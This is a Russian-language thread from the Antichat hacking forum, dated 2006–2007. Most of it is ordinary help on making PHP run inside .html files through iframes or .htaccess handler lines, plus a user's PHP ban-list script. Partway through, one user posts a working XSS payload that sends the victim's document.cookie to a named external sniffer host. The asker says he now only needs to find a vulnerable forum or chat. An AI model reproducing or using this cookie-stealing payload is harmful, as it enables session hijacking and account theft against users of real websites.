Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Php в Html (https://forum.antichat.xyz/showthread.php?t=24619)

Murt@zaa 29.09.2006 00:06

Php в Html
 
Не судите если подобный вопрос уже задавался.
Проблема такая: если создавать php файл соответственно с php кодом и запускать его то все выполняется без проблем а вот если создавать html файл и вписывать туда php код то при открытии ни че не выполняется. При чем в html файле ввожу все как надо
<script language="php"> к о д с к р и п т а </script>
Пожалуйста подскажите очень нужно!

r0 29.09.2006 00:10

<html>
<?php
код;
?>
</html>

Murt@zaa 29.09.2006 00:13

Все равно не выходит. может у меня с настройкой апача че то не то?

bul.666 29.09.2006 00:22

Php будет выполняться в расширении *.php
тоесть создай пхп файл и смотри пример Рочи...

Или же создай пхп файл например: script.php

В html файле используй код: <iframe src=script.php>

Murt@zaa 29.09.2006 00:43

Не получатся.
То ли у меня руки кривые , то ли еще не пришло время познать все это, то ли я хочу того чего не может быть вовсе.

bul.666 29.09.2006 01:26

У тя вообще поддреживает php?

Вот короче пример 1:

Создай файл index.php c содержанием:

PHP код:

<html><head>
<title>PHP and HTML #1</title></head>
<body>
<center><h1>Пример #1</h1>
<?php
echo "<b>Этот текст нарисовал скрипт!</b>";
?>
<i>А этот нет...</i>
</html>

Пример 2:

Создай 2 файла: index.html и script.php

Содерание script.php
PHP код:

<?php
echo "Привет от PHP!";
?>

--------
Содержание index.html
Код HTML:

<html><head>
<title>PHP and HTML #2</title></head>
<body>
<center><h1>Пример #2</h1>
<iframe src=script.php frameborder=0>
<i>Привет от html</i>
</html>

Я не понимаю, что те исчо нуна?

Гаврила 29.09.2006 01:32

Попробуй тут почитать.
http://wcode.ru/php/58/
Там с примерами.
Не забудь Денвер поставить или PHP Editor какой-нибудь =)

Murt@zaa 29.09.2006 13:42

Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo...
P.S.: Бывает. Фантазия у меня очень развитая:))

SMiX 29.09.2006 17:38

Можно и это. Читай про mod_rewrite в .htaccess

nc.STRIEM 29.09.2006 21:38

Цитата:

Сообщение от Murt@zaa
Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo...
P.S.: Бывает. Фантазия у меня очень развитая:))

SMIX правильно сказал, такое возможно есле имееш доступ к .htaccess или може его залить!
А методами XSS неполучеться, т.к. php скрипт выполняеться непосредственно на сервере после чего результат передаеться брауеру, а html и жаба выполняються в браузере пользователя! Поэтому даж есле ты и вставиш при помоши пасивной XSS php код, ниче не произойдет, он будет восприниматься как обычный текст!

SMiX 29.09.2006 21:51

Дык он наверное снифак хотел в html-страницу сунуть. Тогда все получится.

Murt@zaa 29.09.2006 21:52

А можно поподробнее про снифер??

nc.STRIEM 29.09.2006 22:05

НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript
вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script>
где http://tkv.xost.ru/s/s.gif адрес сниффера!

Murt@zaa 29.09.2006 22:11

Теперь я все знаю:)) осталось найти уязвимый форум, чат и т.д. :((

nc.STRIEM 29.09.2006 22:20

Цитата:

Сообщение от Murt@zaa
Теперь я все знаю

Есле че буду у тя спрашивать!))

Murt@zaa 29.09.2006 22:26

nc.STRIEM обращайся по любому вопросу. В долгу не останусь :)

SMiX 29.09.2006 22:49

Цитата:

Сообщение от nc.STRIEM
НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript
вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script>
где http://tkv.xost.ru/s/s.gif адрес сниффера!

нет, он, кажется, именно код скрипта, который записывает кукисы в файл/базу/отправляетнамыло. А на форуме/чате идет фильтр по например динамическим ссылкам или расширению пхп...

E}I{uk 30.04.2007 19:02

Ребят помогите засунуть данный код в html файл
PHP код:

<?php

error_reporting
(0);

# путь к файлу
$fname '';

# заголовок страницы
$title '';

# инфа в визуале 
# (если строка пустая, то не отображается)
# (можно использовать теги и сделать визуал многострочным)
$visual '
<h1></h1>
Admin: <a href=""></a><br>
Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/>
<a href="">Games Portal/Игровой портал</a><br/>
<a href="">Forum/Форум</a><br/>
<a href="">AMXBANS/Бан лист</a><br/>
'
;

?>

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php print $title?></title>
<link rel="stylesheet" type="text/css" href="main.css">
</head>
<body>
<div class="body_header">
<?php 
if ($visual != '') { print $visual; }
?>

</div>
<br>
<table width="100%">
     <tr class="darkcell">
          <td colspan="7" style="text-align: left;">Список забаненных:</td>
     </tr>
     <tr class="selectedcell">
          <td class="headercell">Дата</td>
          <td class="headercell">Ник*</td>
          <td class="headercell">IP</td>
          <td class="headercell">Время бана</td>
          <td class="headercell">Осталось</td>
          <td class="headercell">Забанен до</td>
          <td class="headercell">Причина</td>
     </tr>

<?php

if (file_exists($fname)) {
     if (
$f = @fopen($fname'r')) {
          
$lines = @file($fname);
          
$lines_counter count(@file($fname));
          for (
$i 0$i $lines_counter$i++) {
               
$str $lines[$i];
               list(
$part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"'$str);
               if (
$name == '') { $name 'Player'; }
               list(
$reason,$trash) = explode(' ('$reason);
               list(
$status,$date,$time) = explode(' '$part1);
               list(
$trash,$ip,$duration) = explode(' '$part3);
               list(
$day,$month,$year) = explode('.'$date);
               list(
$h,$min,$sec) = explode(':'$time);
               
$datetime mktime($h,$min,$sec,$month,$day,$year);
               
$duration_h $duration 60;
               
$duration_d $duration_h 24;
               
$datetime_unban date('d.m.y H:i:s',($datetime+$duration*60));
               
$remaining_time_min round((($datetime+$duration*60)-date('U'))/60);
               
$remaining_time_h round($remaining_time_min 60);
               
$remaining_time_d round($remaining_time_h 24);
               if (
$status == '+') {
                    print
"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>";
               }
          }
     } else { print 
"<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
     @
fclose($f);
} else { print 
"<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }

?>

УМОЛЯЮ !!!!!!!!!!!!!!!

genom-- 30.04.2007 19:12

попробуй вписать это в хтасес
RemoveHandler .html .htm
AddType application/x-httpd-php .php .htm .html .phtml добавим выполнение php кода в html

E}I{uk 30.04.2007 19:52

Ребят я вас умоляю!
В php вообще не соображаю!
Просто помогите мне засунуть данный php код в html файл
PHP код:

<?php 

error_reporting
(0); 

# путь к файлу 
$fname ''

# заголовок страницы 
$title ''

# инфа в визуале  
# (если строка пустая, то не отображается) 
# (можно использовать теги и сделать визуал многострочным) 
$visual 
<h1></h1> 
Admin: <a href=""></a><br> 
Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/> 
<a href="">Games Portal/Игровой портал</a><br/> 
<a href="">Forum/Форум</a><br/> 
<a href="">AMXBANS/Бан лист</a><br/> 
'


?> 

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<head> 
<title><?php print $title?></title> 
<link rel="stylesheet" type="text/css" href="main.css"> 
</head> 
<body> 
<div class="body_header"> 
<?php  
if ($visual != '') { print $visual; } 
?> 

</div> 
<br> 
<table width="100%"> 
     <tr class="darkcell"> 
          <td colspan="7" style="text-align: left;">Список забаненных:</td> 
     </tr> 
     <tr class="selectedcell"> 
          <td class="headercell">Дата</td> 
          <td class="headercell">Ник*</td> 
          <td class="headercell">IP</td> 
          <td class="headercell">Время бана</td> 
          <td class="headercell">Осталось</td> 
          <td class="headercell">Забанен до</td> 
          <td class="headercell">Причина</td> 
     </tr> 

<?php 

if (file_exists($fname)) { 
     if (
$f = @fopen($fname'r')) { 
          
$lines = @file($fname); 
          
$lines_counter count(@file($fname)); 
          for (
$i 0$i $lines_counter$i++) { 
               
$str $lines[$i]; 
               list(
$part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"'$str); 
               if (
$name == '') { $name 'Player'; } 
               list(
$reason,$trash) = explode(' ('$reason); 
               list(
$status,$date,$time) = explode(' '$part1); 
               list(
$trash,$ip,$duration) = explode(' '$part3); 
               list(
$day,$month,$year) = explode('.'$date); 
               list(
$h,$min,$sec) = explode(':'$time); 
               
$datetime mktime($h,$min,$sec,$month,$day,$year); 
               
$duration_h $duration 60
               
$duration_d $duration_h 24
               
$datetime_unban date('d.m.y H:i:s',($datetime+$duration*60)); 
               
$remaining_time_min round((($datetime+$duration*60)-date('U'))/60); 
               
$remaining_time_h round($remaining_time_min 60); 
               
$remaining_time_d round($remaining_time_h 24); 
               if (
$status == '+') { 
                    print
"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>"
               } 
          } 
     } else { print 
"<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } 
     @
fclose($f); 
} else { print 
"<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } 

?>


mR_LiNK[deface_0nl 30.04.2007 23:48

Цитата:

Сообщение от E}I{uk
Ребят я вас умоляю!
В php вообще не соображаю!
Просто помогите мне засунуть данный php код в html файл

Тебе genom уже расписал все что нун сделать..
Осталось только найти у себя файл '.htaccess'
и дополнить строкой указаний на обработку скриптов в расширении html..


Время: 16:40